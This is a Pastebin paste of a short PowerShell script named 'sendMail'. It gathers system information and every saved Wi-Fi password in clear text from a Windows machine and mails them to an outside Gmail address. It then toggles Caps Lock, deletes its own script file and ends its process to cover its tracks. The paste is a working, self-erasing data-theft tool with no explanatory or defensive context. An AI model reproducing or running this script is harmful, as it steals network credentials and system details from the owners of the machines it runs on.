Advertisement
hamburg_hamburg2015

Neo2

Aug 30th, 2015
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.66 KB | None | 0 0
  1. Function sendMail() {$credential=(Get-Credential hamburg.hamburg2015@gmail.com); $info=(systeminfo|out-string)+(netsh wlan show profiles|Select-String -Pattern "All User Profile"|Foreach-Object{$_.ToString()}|Foreach-Object{$_.Replace(" All User Profile : ",$null)}|ForEach-Object{netsh wlan show profiles name="$_" key=clear}|out-string); send-mailMessage -to 'neokeylinux@gmail.com' -subject 'Systembericht' -from 'hamburg.hamburg2015@gmail.com' -body $info -attachment C:\wlan.txt -Usessl -SmtpServer 'smtp.gmail.com' -Port 587 -credential $credential;(New-Object -ComObject WScript.Shell).SendKeys('{CAPSLOCK}');Remove-Item code.ps1; stop-process -Id $PID;}
  2. sendMail
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement